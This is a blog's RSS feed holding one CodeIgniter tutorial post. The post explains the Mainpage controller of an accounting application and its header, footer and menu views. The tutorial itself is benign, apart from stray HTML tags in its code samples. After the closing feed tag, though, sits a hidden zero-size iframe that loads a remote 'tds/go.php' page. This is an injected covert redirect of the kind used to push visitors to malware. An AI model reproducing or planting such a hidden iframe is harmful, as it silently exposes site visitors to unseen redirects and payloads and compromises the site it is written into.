<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>dijexi.com &#187; main controller</title>
	<atom:link href="http://www.dijexi.com/tag/main-controller/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.dijexi.com</link>
	<description>free programming tutorial, tips and tricks on php, codeigniter, delphi, dotnet, ajax and more..</description>
	<lastBuildDate>Fri, 13 Jan 2012 23:21:06 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
<atom:link rel="hub" href="http://pubsubhubbub.appspot.com"/><atom:link rel="hub" href="http://superfeedr.com/hubbub"/>		<item>
		<title>CodeIgniter Tutorial: [Creating Accounting Application] Part 5 The Mainpage</title>
		<link>http://www.dijexi.com/2010/05/codeigniter-tutorial-creating-accounting-application-part-5-the-mainpage/</link>
		<comments>http://www.dijexi.com/2010/05/codeigniter-tutorial-creating-accounting-application-part-5-the-mainpage/#comments</comments>
		<pubDate>Tue, 04 May 2010 02:31:09 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[CodeIgniter]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[accounting system]]></category>
		<category><![CDATA[main controller]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/2010/05/codeigniter-tutorial-creating-accounting-application-part-5-the-mainpage/</guid>
		<description><![CDATA[Well I’m sorry, it’s been so long for this part to come.. I had been working very hard on some clients and don’t have enough time to write. Here’s what I had been done if you’re curious :) : http://maps.GpsTrackingIndonesia.com, www.SunberryCorp.com, www.mypushme.com, www.kulacak.com, www.web2trace.com, www.pushmeportal.com, … The fun is almost all of them was written [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><p>Well I’m sorry, it’s been so long for this part to come.. I had been working very hard on some clients and don’t have enough time to write. Here’s what I had been done if you’re curious :) : <a href="http://maps.GpsTrackingIndonesia.com">http://maps.GpsTrackingIndonesia.com</a>, <a href="http://www.SunberryCorp.com">www.SunberryCorp.com</a>, <a href="http://www.mypushme.com">www.mypushme.com</a>, <a href="http://www.kulacak.com">www.kulacak.com</a>, <a href="http://www.web2trace.com">www.web2trace.com</a>, <a href="http://www.pushmeportal.com">www.pushmeportal.com</a>, … The fun is almost all of them was written with CodeIgniter :).</p>
<p>Ok, let’s start with the easiest one first. We will create a simple menu page that contains links to other modules on the system. We put it on the Mainpage controller class. </p>
<p>Look at the Mainpage.php controller file. There is a function on it named exactly the same with the filename: Mainpage(). This should be exactly the same including the case. This is the constructor or initialization function of the class. Each time the class is called or instantiate, this function is called automatically. We put some initialization lines inside it:</p>
<p> <span id="more-1317"></span>
<div class="dean_ch" style="white-space: wrap;"><span class="kw2">function</span> Mainpage<span class="br0">&#40;</span><span class="br0">&#41;</span>&nbsp;<br />
<span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp;parent::<span class="me2">Controller</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;&nbsp; <br />
&nbsp; &nbsp; &nbsp;<span class="re0">$this</span>-&gt;<span class="me1">load</span>-&gt;<span class="me1">helper</span><span class="br0">&#40;</span><span class="st0">&#8216;url&#8217;</span><span class="br0">&#41;</span>;<br />
<span class="br0">&#125;</span></div>
<p>The line <strong>parent::Controller() </strong>calls the constructor function of this class’s parent constructor which is the CodeIgniter’s Controller class so that it has all the properties and method of it’s parent.</p>
<p>Then, we load a helper library that contains helper functions related to URL handling such as site_url() to return the site’s URL that we are working on. Other functions on this helper are: anchor(), base_url(), uri_string(), etc. You can check it all on the user guide <a title="http://localhost/acct/user_guide/helpers/url_helper.html" href="http://localhost/user_guide/helpers/url_helper.html">http://localhost/user_guide/helpers/url_helper.html</a>.</p>
<p>Again, look at the Mainpage.php file. We added a new function called <strong>index()</strong>. This function is analogous to the index.html file in static web page. It’s called by default when we point our browser to the Mainpage controller, ie: <a href="http://localhost/index.php/Mainpage">http://localhost/index.php/Mainpage</a>.</p>
<div class="dean_ch" style="white-space: wrap;"><span class="kw2">public</span> <span class="kw2">function</span> index<span class="br0">&#40;</span><span class="br0">&#41;</span> <br />
<span class="br0">&#123;</span> <br />
&nbsp; &nbsp; <span class="re0">$this</span>-&gt;<span class="me1">load</span>-&gt;<span class="me1">view</span><span class="br0">&#40;</span><span class="st0">&#8216;header&#8217;</span><span class="br0">&#41;</span>; <br />
&nbsp; &nbsp; <span class="re0">$this</span>-&gt;<span class="me1">load</span>-&gt;<span class="me1">view</span><span class="br0">&#40;</span><span class="st0">&quot;main_menu&quot;</span><span class="br0">&#41;</span>; <br />
&nbsp; &nbsp; <span class="re0">$this</span>-&gt;<span class="me1">load</span>-&gt;<span class="me1">view</span><span class="br0">&#40;</span><span class="st0">&#8216;footer&#8217;</span><span class="br0">&#41;</span>; <br />
&nbsp; &nbsp; <span class="kw1">return</span>; <br />
<span class="br0">&#125;</span></div>
<p>On the function, we load view files. Here we divide the view into 3 pieces: header, main_menu, and footer. They are basically just regular PHP files dealing with display templates. This will make us easier to manage the look of our application later.</p>
<p>All of the view files should be located under <strong>system/application/views</strong> folder on CodeIgniter file structure. So we need to create all of them:</p>
<p>The <strong>header.php</strong> view file, contains the opening HTML tags, HEAD, TITLE and start of BODY. Later we can add CSS link definition here: </p>
<div class="dean_ch" style="white-space: wrap;">&lt;p&gt;&lt;!DOCTYPE HTML <span class="kw2">PUBLIC</span> <span class="st0">&quot;-//W3C//DTD HTML 3.2 Final//EN&quot;</span>&gt;</p>
<p>&lt;html&gt; &nbsp;<br />
&lt;head&gt;&lt;/p&gt;&lt;p&gt;&lt;title&gt;Cashbook application&lt;/title&gt; <br />
&lt;/head&gt;<br />
&lt;body&gt;<br />
&lt;/p&gt;</div>
<p>&#160;</p>
<p>The <strong>footer.php</strong> view file, just a closing BODY and HTML tag, but you can later add your copyright notice, timestamps, etc:&#160;&#160; </p>
<p>&#160;</p>
<pre>&lt;/body&gt;
&lt;/html&gt;</pre>
<p>And the <strong>main_menu.php</strong> view file. Here we write a list of links to modules that we are going to develop later:</p>
<div class="dean_ch" style="white-space: wrap;">&lt;p&gt;&lt;p&gt;Cash Book&lt;/p&gt;</p>
<p>&lt;ul&gt;</p>
<p>&lt;li&gt;&lt;?=anchor<span class="br0">&#40;</span><span class="st0">&quot;Cashbook/addNew/receive&quot;</span>,<span class="st0">&quot;Cash Receive Entry&quot;</span><span class="br0">&#41;</span><span class="kw2">?&gt;</span> &nbsp;<br />
&lt;li&gt;&lt;?=anchor<span class="br0">&#40;</span><span class="st0">&quot;Cashbook/addNew/out&quot;</span>,<span class="st0">&quot;Cash Out Entry&quot;</span><span class="br0">&#41;</span> <span class="kw2">?&gt;</span></p>
<p>&lt;li&gt;&lt;?=anchor<span class="br0">&#40;</span><span class="st0">&quot;Cashbook/viewReport&quot;</span>,<span class="st0">&quot;Cash Book Report&quot;</span><span class="br0">&#41;</span><span class="kw2">?&gt;</span> &nbsp;<br />
&lt;/ul&gt; &lt;/p&gt;<br />
&lt;p&gt;&lt;p&gt;Bank Book&lt;/p&gt; &nbsp;<br />
&lt;ul&gt;</p>
<p>&lt;li&gt;&lt;?=anchor<span class="br0">&#40;</span><span class="st0">&quot;Bankbook/addNew/receive&quot;</span>,<span class="st0">&quot;Bank Receive Entry&quot;</span><span class="br0">&#41;</span>;?&gt;<br />
&lt;li&gt;&lt;?=anchor<span class="br0">&#40;</span><span class="st0">&quot;Bankbook/addNew/out&quot;</span>,<span class="st0">&quot;Bank Out Entry&quot;</span><span class="br0">&#41;</span>;?&gt;<br />
&lt;li&gt;&lt;?=anchor<span class="br0">&#40;</span><span class="st0">&quot;Bankbook/viewReport&quot;</span>,<span class="st0">&quot;Bank Book Report&quot;</span><span class="br0">&#41;</span>;?&gt;<br />
&lt;/ul&gt; &lt;/p&gt;</p>
<p>&lt;p&gt;&lt;p&gt;Manual Journal&lt;/p&gt; &nbsp;<br />
&lt;ul&gt;<br />
&lt;li&gt;&lt;?=anchor<span class="br0">&#40;</span><span class="st0">&quot;Journal/addNew&quot;</span>,<span class="st0">&quot;Manual Journal Entry&quot;</span><span class="br0">&#41;</span><span class="kw2">?&gt;</span><br />
&lt;li&gt;&lt;?=anchor<span class="br0">&#40;</span><span class="st0">&quot;Journal/viewReport&quot;</span>,<span class="st0">&quot;Manual Journal Report&quot;</span><span class="br0">&#41;</span><span class="kw2">?&gt;</span><br />
&lt;/ul&gt; &lt;/p&gt;<br />
&lt;p&gt;&lt;p&gt;Report&lt;/p&gt;<br />
&lt;ul&gt; &nbsp;<br />
&lt;li&gt;&lt;?=anchor<span class="br0">&#40;</span><span class="st0">&quot;Mainpage/trialBalance&quot;</span>,<span class="st0">&quot;Trial Balance&quot;</span><span class="br0">&#41;</span><span class="kw2">?&gt;</span></p>
<p>&lt;li&gt;&lt;?=anchor<span class="br0">&#40;</span><span class="st0">&quot;Mainpage/balanceSheet&quot;</span>,<span class="st0">&quot;Balance Sheet&quot;</span><span class="br0">&#41;</span><span class="kw2">?&gt;</span> &nbsp;<br />
&lt;li&gt;&lt;?=anchor<span class="br0">&#40;</span><span class="st0">&quot;Mainpage/profitLoss&quot;</span>,<span class="st0">&quot;Profit and Loss&quot;</span><span class="br0">&#41;</span><span class="kw2">?&gt;</span></p>
<p>&lt;/ul&gt; &lt;/p&gt;</p>
<p>&lt;p&gt;&lt;p&gt;Posting and COA&lt;/p&gt;<br />
&lt;ul&gt;<br />
&lt;li&gt;&lt;?=anchor<span class="br0">&#40;</span><span class="st0">&quot;Mainpage/doPosting&quot;</span>,<span class="st0">&quot;Post transaction&quot;</span><span class="br0">&#41;</span><span class="kw2">?&gt;</span><br />
&lt;li&gt;&lt;?=anchor<span class="br0">&#40;</span><span class="st0">&quot;Coa/listCoa&quot;</span>,<span class="st0">&quot;Chart of Account Setting&quot;</span><span class="br0">&#41;</span><span class="kw2">?&gt;</span><br />
&lt;/ul&gt;&lt;/p&gt;</div>
<p>As we can see above, we call a helper function anchor(). This function will create a standard HTML anchor link based on your local site URL. So for example, if we call it <strong>achor(“Mainpage/trialBalance”, “Trial Balance”)</strong> then it will return this string:</p>
<p>&lt;a href=”http://localhost/Mainpage/trialBalance”&gt; Trial Balance &lt;/a&gt;</p>
<p>assumed that you have configured your site URL as <a href="http://localhost/">http://localhost/</a> on the config.php file.</p>
<p>Now we can run our application by pointing the browser to <a href="http://localhost">http://localhost</a> and it should return something like the following:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2010/05/image.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2010/05/image_thumb.png" width="404" height="484" /></a> </p>
<p>Congratulation! </p>
<p>Next we will begin to code the COA module.</p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:c2efec71-3808-442a-9518-d1db80ef5dca" class="wlWriterEditableSmartContent">Technorati Tags: <a href="http://technorati.com/tags/codeigniter" rel="tag">codeigniter</a>,<a href="http://technorati.com/tags/main+controller" rel="tag">main controller</a>,<a href="http://technorati.com/tags/accounting+system" rel="tag">accounting system</a></div>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2009/07/codeigniter-tutorial-creating-accounting-application-part-1-setting-up-the-environment/" rel="bookmark">CodeIgniter Tutorial: [Creating Accounting Application] Part 1 Setting Up the Environment</a></li><li><a href="http://www.dijexi.com/2009/09/codeigniter-tutorial-creating-accounting-application-part-4-preparing-to-code/" rel="bookmark">CodeIgniter Tutorial: [Creating Accounting Application] Part 4 Preparing to Code</a></li><li><a href="http://www.dijexi.com/2009/08/codeigniter-tutorial-creating-accounting-application-part-2-the-application-specification-and-uml-diagrams/" rel="bookmark">CodeIgniter Tutorial: [Creating Accounting Application] Part 2 The Application Specification and UML Diagrams</a></li><li><a href="http://www.dijexi.com/2009/08/codeigniter-tutorial-creating-accounting-application-part-3-er-diagram-and-creating-database/" rel="bookmark">CodeIgniter Tutorial: [Creating Accounting Application] Part 3 ER Diagram and Creating Database</a></li><li><a href="http://www.dijexi.com/2009/06/codeigniter-konek-ke-port-mysql-tertentu-selain-3306/" rel="bookmark">CodeIgniter: koneksi ke port MySQL tertentu selain 3306</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2010%2F05%2Fcodeigniter-tutorial-creating-accounting-application-part-5-the-mainpage%2F&amp;linkname=CodeIgniter%20Tutorial%3A%20%5BCreating%20Accounting%20Application%5D%20Part%205%20The%20Mainpage"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2010/05/codeigniter-tutorial-creating-accounting-application-part-5-the-mainpage/feed/</wfw:commentRss>
		<slash:comments>26</slash:comments>
		</item>
	</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
